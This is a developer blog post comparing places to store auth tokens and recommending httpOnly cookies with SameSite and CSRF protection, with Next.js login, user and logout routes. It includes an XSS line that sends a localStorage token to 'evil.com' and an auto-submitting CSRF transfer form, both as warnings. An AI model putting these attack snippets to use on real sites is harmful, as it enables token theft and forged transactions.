Back to Blog

Where Should I Store Auth Tokens?

The Problem

You have a JWT or session token. Where do you put it?

  • localStorage?
  • sessionStorage?
  • Cookies?
  • In-memory?

Every option has a security tradeoff. Pick wrong and you're vulnerable to XSS or CSRF.

The Quick Answer

StorageXSS VulnerableCSRF VulnerablePersists RefreshUse When
localStorageYesNoYesNever for auth tokens
sessionStorageYesNoNo (tab only)Never for auth tokens
httpOnly cookieNoYes (mitigable)YesDefault choice
Memory (JS variable)YesNoNoShort-lived SPAs

Default: Use httpOnly cookies with CSRF protection.

Why Not localStorage?

// ❌ Any XSS can steal your token
localStorage.setItem('token', 'eyJhbG...');

// Attacker injects this via XSS:
fetch('https://evil.com/steal?token=' + localStorage.getItem('token'));
// Your token is now on attacker's server

If there's ANY XSS vulnerability in your app (or any third-party script), the token is gone.

Why httpOnly Cookies?

// ✅ JavaScript cannot access this
// Set-Cookie: token=eyJhbG...; HttpOnly; Secure; SameSite=Strict

httpOnly means JavaScript can't read it. XSS can't steal it.

The CSRF Problem (And Solution)

Cookies are sent automatically. Attacker can trick user into making requests:

<!-- On evil.com -->
<form action="https://yourapp.com/api/transfer" method="POST">
  <input name="amount" value="10000" />
  <input name="to" value="attacker" />
</form>
<script>document.forms[0].submit();</script>

Solutions:

  1. SameSite=Strict — Cookie only sent for same-site requests
  2. CSRF Token — Require a token that attacker can't guess
  3. Check Origin header — Reject requests from other origins
// Server-side cookie setup (Next.js API route)
import { cookies } from 'next/headers';

export async function POST(request: Request) {
  const { email, password } = await request.json();
  const token = await authenticate(email, password);

  cookies().set('auth', token, {
    httpOnly: true,      // JS can't access
    secure: true,        // HTTPS only
    sameSite: 'strict',  // No cross-site requests
    maxAge: 60 * 60 * 24 * 7, // 7 days
    path: '/',
  });

  return Response.json({ success: true });
}

The Full Setup

// app/api/auth/login/route.ts
import { cookies } from 'next/headers';
import { SignJWT } from 'jose';

export async function POST(request: Request) {
  const { email, password } = await request.json();

  const user = await verifyCredentials(email, password);
  if (!user) {
    return Response.json({ error: 'Invalid credentials' }, { status: 401 });
  }

  const token = await new SignJWT({ userId: user.id })
    .setProtectedHeader({ alg: 'HS256' })
    .setExpirationTime('7d')
    .sign(new TextEncoder().encode(process.env.JWT_SECRET));

  cookies().set('auth', token, {
    httpOnly: true,
    secure: process.env.NODE_ENV === 'production',
    sameSite: 'strict',
    maxAge: 60 * 60 * 24 * 7,
  });

  return Response.json({ user: { id: user.id, email: user.email } });
}
// app/api/user/route.ts
import { cookies } from 'next/headers';
import { jwtVerify } from 'jose';

export async function GET() {
  const token = cookies().get('auth')?.value;

  if (!token) {
    return Response.json({ error: 'Unauthorized' }, { status: 401 });
  }

  try {
    const { payload } = await jwtVerify(
      token,
      new TextEncoder().encode(process.env.JWT_SECRET)
    );

    const user = await db.user.findUnique({ where: { id: payload.userId } });
    return Response.json({ user });
  } catch {
    return Response.json({ error: 'Invalid token' }, { status: 401 });
  }
}
// app/api/auth/logout/route.ts
import { cookies } from 'next/headers';

export async function POST() {
  cookies().delete('auth');
  return Response.json({ success: true });
}

4. Client — Just Make Requests

// No token handling on client — cookies are automatic
async function getUser() {
  const res = await fetch('/api/user', { credentials: 'include' });
  return res.json();
}

async function logout() {
  await fetch('/api/auth/logout', { method: 'POST', credentials: 'include' });
  router.push('/login');
}

When Memory Storage Makes Sense

For short-lived tokens in SPAs that don't need to survive page refresh:

// Token in memory — gone on refresh, but safe from XSS persistence
let accessToken: string | null = null;

async function login(email: string, password: string) {
  const res = await fetch('/api/auth/login', {
    method: 'POST',
    body: JSON.stringify({ email, password }),
  });
  const { token } = await res.json();
  accessToken = token;  // In memory only
}

async function apiCall(endpoint: string) {
  return fetch(endpoint, {
    headers: { Authorization: `Bearer ${accessToken}` },
  });
}

Use with refresh token in httpOnly cookie:

┌─────────────────────────────────────────────────┐
│ Access Token: In memory (short-lived, 15 min)   │
│ Refresh Token: httpOnly cookie (long-lived, 7d) │
└─────────────────────────────────────────────────┘

When access token expires, silently refresh using the cookie.

Decision Tree

Is this a traditional web app with page reloads?
└─ YES → httpOnly cookie, SameSite=Strict

Is this an SPA that needs tokens across tabs?
└─ YES → httpOnly cookie for refresh, memory for access

Is this an SPA in a single tab, high security required?
└─ YES → Memory only, re-auth on refresh

Are you building a public API?
└─ YES → Bearer token (client stores it however they want)

TL;DR

  1. Never use localStorage for auth tokens — XSS can steal them
  2. Default to httpOnly cookies — JS can't read them
  3. Add SameSite=Strict — Prevents most CSRF
  4. For SPAs: httpOnly refresh + in-memory access — Best of both worlds
  5. Always use HTTPS — Secure flag requires it

What did you think?

© 2026 Vidhya Sagar Thakur. All rights reserved.